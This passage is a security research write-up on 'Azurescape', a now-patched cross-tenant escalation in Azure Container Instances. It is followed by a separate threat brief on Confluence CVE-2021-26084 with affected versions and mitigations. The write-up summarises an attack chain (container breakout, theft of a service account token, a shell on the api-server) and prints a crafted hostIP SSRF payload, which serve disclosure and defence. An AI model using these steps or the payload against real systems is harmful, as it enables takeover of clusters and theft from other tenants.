We proceeded to create a custom Kubelet image that exploits CVE-2018-1002102, redirecting incoming exec requests to pods on other nodes. To maximize impact, we configured it to target the api-server pod, and finally, ran az container exec my-ctr --exec-command /bin/bash, with the expectation of establishing a shell on the api-server container. The command just failed.

After some debugging, we noticed the redirection operation only works if the target container is hosted on the same node. This effectively nullifies the attack, since we can't spread to other nodes. Examining the patch for CVE-2018-1002102, this was actually the fix for the vulnerability. At this point, something didn't add up. We had already verified the api-server version was vulnerable to CVE-2018-1002102, and we didn't understand why it appeared to include the fix.

Reexamining the exec requests arriving at the node helped shed some light on what was going on. We expected the requests to arrive from the api-server IP, as illustrated in Figure 8. Surprisingly, the requests originated from a pod dubbed the 'bridge' running in the default namespace.

Reexamining exec requests arriving at the node revealed that the requests originated from a pod dubbed the 'bridge' running in the default namespace, as shown.
Figure 9. Kubelet connections during an az container exec session.

We discovered that ACI moved the handling of exec requests from the api-server to a custom service. This was probably implemented by routing az container exec commands to the bridge pod instead of to the api-server.

We discovered that ACI moved the handling of exec requests from the api-server to a custom service. This was probably implemented by routing az container exec commands to the bridge pod instead of to the api-server.
Figure 10. Bridge pods handle execs in ACI.

The bridge image tag was master_20201125.1, indicating it was updated after CVE-2018-1002102. Judging from its recent build time and its refusal to redirect exec requests, it appears that CVE-2018-1002102's patch was ported to the bridge. Microsoft deserves credit for noticing a vulnerability affects their custom bridge pod and patching accordingly. Nicely done!

It's worth mentioning that CVE-2018-1002102 can also be exploited in other cases, for instance, when a client asks a malicious Kubelet to retrieve container logs (e.g. kubectl logs). This is actually relevant for ACI, where this functionality is implemented via the az container logs command. But as with exec requests, ACI deferred the handling of log retrieval to a dedicated pod appropriately named log-fetch. And as with the bridge pod, a fix for CVE-2018-1002102 was also ported to the log-fetch pod, preventing exploitation.

Escalating to Cluster Admin

CVE-2018-1002102 was off the table, but we did notice something odd while debugging the exploit. The exec requests arriving at the node included an Authorization header carrying a Kubernetes service account token, as shown in Figure 11.

The exec requests arriving at the node included an Authorization header carrying a Kubernetes service account token, as shown.
Figure 11. Bridge sends 'exec' request with service account token.

Finding a token here was surprising. As mentioned earlier, Kubelets in the cluster were configured to allow anonymous access, so there was no need for requests to authenticate via a token. Perhaps this was a relic of an older implementation.

Kubernetes service account tokens are unencrypted JSON Web Tokens (JWTs), so they're decodable. As seen below, the received token is a service account token for the 'bridge' service account. This makes sense given the request originated from the bridge pod.

The received token is a service account token for the 'bridge' service account. This makes sense given the request originated from the bridge pod.
Figure 12. Bridge service account token, decoded.

If you run Kubernetes, be careful to whom you send your service account tokens: Anyone who receives a token is free to use it and masquerade as its owner. Token thieves are likely to be very interested in the permissions of their stolen tokens. The api-server exposes two APIs that allow clients to query for their permissions, SelfSubjectAccessReview and SelfSubjectRulesReview. And kubectl provides kubectl auth can-i as a convenient way of accessing these APIs.

Here are the privileges of the 'bridge' token in the default namespace:

This shows the privileges of the 'bridge' token in the default namespace.
Figure 13. Bridge token permissions – default namespace.

Looking at other namespaces, the permissions are consistent, indicating they're cluster-wide (as opposed to namespace-scoped). Below are the token's permissions in the kube-system namespace. Try to identify a permission that would allow us to spread in the multitenant cluster:

This shows the token's permissions in the kube-system namespace, including the pods/exec privilege, indicating that the token can be used to execute commands on any pod in the cluster.
Figure 14. Bridge token permissions – kube-system namespace.

Seasoned Kubernetes security folks may have identified the pods/exec privilege, indicating that the token can be used to execute commands on any pod in the cluster – including the api-server pod! Figure 15 shows the token opening a shell on the api-server container:

This shows the token opening a shell on the api-server container.
Figure 15. Using the bridge's token to pop a shell on the api-server.

We just completed a dangerous cross-account attack. With code execution on the api-server, we're now cluster admins with full control over the multitenant cluster and all customer containers within it.

Azurescape Attack Summary

Let's summarize the steps through which a malicious Azure customer could have gained administrative privileges over multitenant Kubernetes clusters hosting ACI:

  1. Deploy an image exploiting CVE-2019-5736 to ACI. The malicious image breaks out upon execution and establishes code execution on the underlying node.
  2. On the node, monitor traffic on the Kubelet port, port 10250, and wait for a request that includes a JWT token in the Authorization header.
  3. Issue az container exec to run a command on the uploaded container. The bridge pod will now send an exec request to the Kubelet on the compromised node.
  4. On the node, extract the bridge token from the request's Authorization header and use it to pop a shell on the api-server.

The attack is demonstrated in the following video:

 Video 1: From malicious container to full cluster admin.

Impact of the Attack

A malicious Azure user could have compromised the multitenant Kubernetes clusters hosting ACI. As cluster administrator, an attacker could execute commands in other customer containers, exfiltrate secrets and private images deployed to the platform, or deploy cryptominers. A sophisticated adversary would further investigate the detection mechanisms protecting ACI to try to avoid getting caught.

The Fix

We responsibly disclosed all the above findings to Microsoft. Consequently Microsoft released a patch to ACI. The bridge pod no longer sends its service account token to nodes when issuing exec requests, preventing the reported cross-tenant attack.

Another Route to Admin – Bridge SSRF

After reporting the token issue, we wanted to make sure there aren't other ways to escalate to cluster admin. After extensive research, we were able to identify such a way. At this point Microsoft reduced the share of ACI containers running on Kubernetes; only around 10% of regions defaulted to Kubernetes clusters. That being said, some features were only supported on Kubernetes, for example gitRepo volumes. If an ACI container used such features, it was deployed on a Kubernetes cluster. Other features meant containers were likely to land on Kubernetes. That was the case for containers in private virtual networks.

The second issue we discovered was a server-side request forgery (SSRF) vulnerability in the bridge pod.

When a bridge pod services an az container exec <ctr> <cmd> command, it sends a request to the appropriate Kubelet's /exec endpoint. The bridge constructs the request according to the API specification of the Kubelet's /exec endpoint, resulting in the following URL:

https://<nodeIP>:10250/exec/<customer-namespace>/<customer-pod>/<customer-ctr>?command=<url-encoded-cmd>&error=1&input=1&output=1&tty=1

The bridge must somehow fill in the missing parameters enclosed in <>. As it turns out, the value of <nodeIP> is retrieved from the customer pod's status.hostIP field. That was quite interesting to discover, since nodes are authorized to update the status of their pods (in order, for example, to update their pod's status.state field to Running, Terminated, etc).

We tried changing our pod's status.hostIP field using the compromised node's credentials. It worked, but after a second or two the api-server corrected the hostIP field to its original value. Although the change didn't persist, nothing prevented us from repeatedly updating this field.

We wrote a small script that repeatedly updates our pods' status, and used it to set the status.hostIP field to 1.1.1.1. We then issued an az container exec command. The command failed, verifying the bridge sent the exec request to 1.1.1.1 instead of the real node IP. We started thinking about which specially crafted hostIP could trick the bridge into executing a command on other pods.

Simply setting the pod's status.hostIP to another node's IP wouldn’t have achieved anything. Kubelets only accept requests that point to a container they host. Even if the bridge sends the exec request to another Kubelet's IP, the URL will still point to our namespace, pod name and container name.

We then realized the api-server doesn't actually verify that the status.hostIP value is a valid IP, and would accept any string – including URL components. After a few attempts, we came up with a hostIP value that would trick the bridge into executing a command on the api-server container, instead of our container:

<apiserver-nodeIP>:10250/exec/kube-system/<apiserver-pod>/<apiserver-container>?command=<url-encoded-command>&error=1&input=1&output=1&tty=1#

This hostIP value will cause the bridge to send the exec request to the following URL:

https://<apiserver-nodeIP>:10250/exec/kube-system/<apiserver-pod-name>/<apiserver-ctr>?command=<url-encoded-command>&error=1&input=1&output=1&tty=1#:10250/exec/<customer-namespace>/<customer-pod-name>/<customer-ctr-name>?command=<command>&error=1&input=1&output=1&tty=1

The # suffix ensures the rest of the URL is treated as a URI fragment and is effectively ignored. We set our pod's status.hostIP to this value and issued a command via az container exec. The attack worked! Instead of a shell to our container, we were presented with a shell to the api-server container. The full attack can be seen in the following video:

Video 2: Tricking the bridge into opening a shell on the api-server.

The impact here is exactly the same as with the previous attack – full administrative control over the multitenant cluster. We reported this issue to MSRC as well, resulting in a patch to ACI. The bridge now verifies that a pod's status.hostIP field is a valid IP before sending an exec request.

Conclusion

Cross-account vulnerabilities are often described as a "nightmare" scenario for the public cloud. Azurescape is evidence that they're more real than we'd like to think. Cloud providers invest heavily in securing their platforms, but it's inevitable that unknown zero-day vulnerabilities would exist and put customers at risk. Cloud users should take a defense-in-depth approach to cloud security to ensure breaches are contained and detected, whether the threat is from the outside or from the platform itself.

As part of the commitment of Palo Alto Networks to advancing public cloud security, we actively invest in public cloud research that includes advanced threat modeling and vulnerability testing of cloud platforms and related technologies. We hope such research can illustrate how cross-account attacks may look in the wild, which can translate into suitable mitigations and detection mechanisms.

We'd like to thank Microsoft’s MSRC for quickly patching the reported issues and professionally handling the disclosure process, as well as for the bounty rewards. Cooperative penetration testing and bug bounty programs help secure the cloud services we all rely on.

Preventing Similar Attacks on Kubernetes Environments

From the perspective of a Kubernetes defender, several best practices, mitigations and policies can help prevent or detect features of similar attacks:

  • Keep your cluster infrastructure up to date and prioritize patches by severity and context.
  • Refrain from sending privileged service accounts tokens to anyone but the api-server. If a recipient is compromised, an attacker can masquerade as the token owner.
  • Enable BoundServiceAccountTokenVolume. This recently graduated feature gate ensures token expiration is bound to its pod. When a pod terminates, its token is no longer valid, minimizing the impact of token theft.
  • Deploy policy enforcers to monitor and prevent suspicious activity in your clusters. Configure them to alert on service accounts or nodes that query the SelfSubjectAccessReview or SelfSubjectRulesReview APIs for their permissions. Prisma Cloud customers can download a relevant rule template and enforce it via the built-in admission control for Kubernetes. We recommend setting the rule to Alert. Others can rely on open-source tools such as OPA Gatekeeper.

To expand on the last point, we see adversaries actively abusing the SelfSubjectReview APIs to inspect the privileges of stolen Kubernetes credentials. Daniel Prizmant, a fellow researcher, recently observed the Siloscape malware leveraging these APIs to retrieve the permissions of the node it compromised, and then using them to determine whether to continue its campaign against the cluster. We reported this behaviour to MITRE, and it will be included in the next release of ATT&CK for Containers as the Permission Group Discovery technique.

Secure multitenancy in Kubernetes is challenging, even for cloud providers. Hosting services, cloud providers and CI/CD services implementing multitenancy on Kubernetes should consider the following when designing their platforms:

  • Refrain from exposing cluster credentials within the tenant boundary. Malicious tenants may abuse these credentials to fuel further escalation or collect information on other tenants and the platform itself.
  • Assume a malicious tenant will break out of its container/sandbox. Think from an attacker's perspective – What could be the objectives? What would be the first moves? Implement detection mechanisms accordingly. Detection schemes should be considered a requirement in hostile multitenant environments, necessary to combat advanced persistent threats (APTs) and zero-day vulnerabilities.
  • Even if a node is compromised, it shouldn't be able to move laterally and compromise other nodes. Ensure nodes are least privileged by enabling the NodeRestiction admission controller. Set up firewall rules to prevent communication between nodes hosting customer containers.

Additional Resources

 

Threat Brief: CVE-2021-26084

Executive Summary

On Aug. 25, 2021, Atlassian released a security advisory for an injection vulnerability in Confluence Server and Data Center, CVE-2021-26084. If the vulnerability is exploited, threat actors could bypass authentication and run arbitrary code on unpatched systems. Since the release of this advisory, mass scanning activity has started to occur, seeking unpatched systems, and in-the-wild exploitation has begun. Unit 42 recommends customers upgrade to the latest release of Confluence Server and Data Center.

Vulnerable Systems

The Atlassian products vulnerable to CVE-2021-26084 are those using the following versions of Confluence Server and Data Center:

  • All 4.x.x versions.
  • All 5.x.x versions.
  • All 6.0.x versions.
  • All 6.1.x versions.
  • All 6.2.x versions.
  • All 6.3.x versions.
  • All 6.4.x versions.
  • All 6.5.x versions.
  • All 6.6.x versions.
  • All 6.7.x versions.
  • All 6.8.x versions.
  • All 6.9.x versions.
  • All 6.10.x versions.
  • All 6.11.x versions.
  • All 6.12.x versions.
  • All 6.13.x versions before 6.13.23.
  • All 6.14.x versions.
  • All 6.15.x versions.
  • All 7.0.x versions.
  • All 7.1.x versions.
  • All 7.2.x versions.
  • All 7.3.x versions.
  • All 7.4.x versions before 7.4.11.
  • All 7.5.x versions.
  • All 7.6.x versions.
  • All 7.7.x versions.
  • All 7.8.x versions.
  • All 7.9.x versions.
  • All 7.10.x versions.
  • All 7.11.x versions before 7.11.6.
  • All 7.12.x versions before 7.12.5.

Confluence Cloud customers are not affected by this vulnerability.

Mitigation Actions

We recommend that customers update Atlassian Confluence Server and Data Center to the latest version, 7.13.0 (TLS). You can find the newest release on Atlassian’s download center.

If you cannot install the latest upgrade, see the Mitigation section on the Atlassian security advisory for information on how to mitigate this vulnerability by running a script for the operating system your Confluence server is hosted on.

Conclusion

Palo Alto Networks provides protection against the exploitation of this vulnerability:

  • Next-Generation Firewalls with a Threat Prevention security subscription (running Applications and Threat content update version 8453) can automatically block sessions related to this vulnerability using Threat ID 91594.

Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.

Additional Resources

writeups/Confluence-RCE.md at main · httpvoid/writeups

Confluence Server Download Archives

Confluence Security Advisory - 2021-08-25 | Confluence Data Center and Server 7.13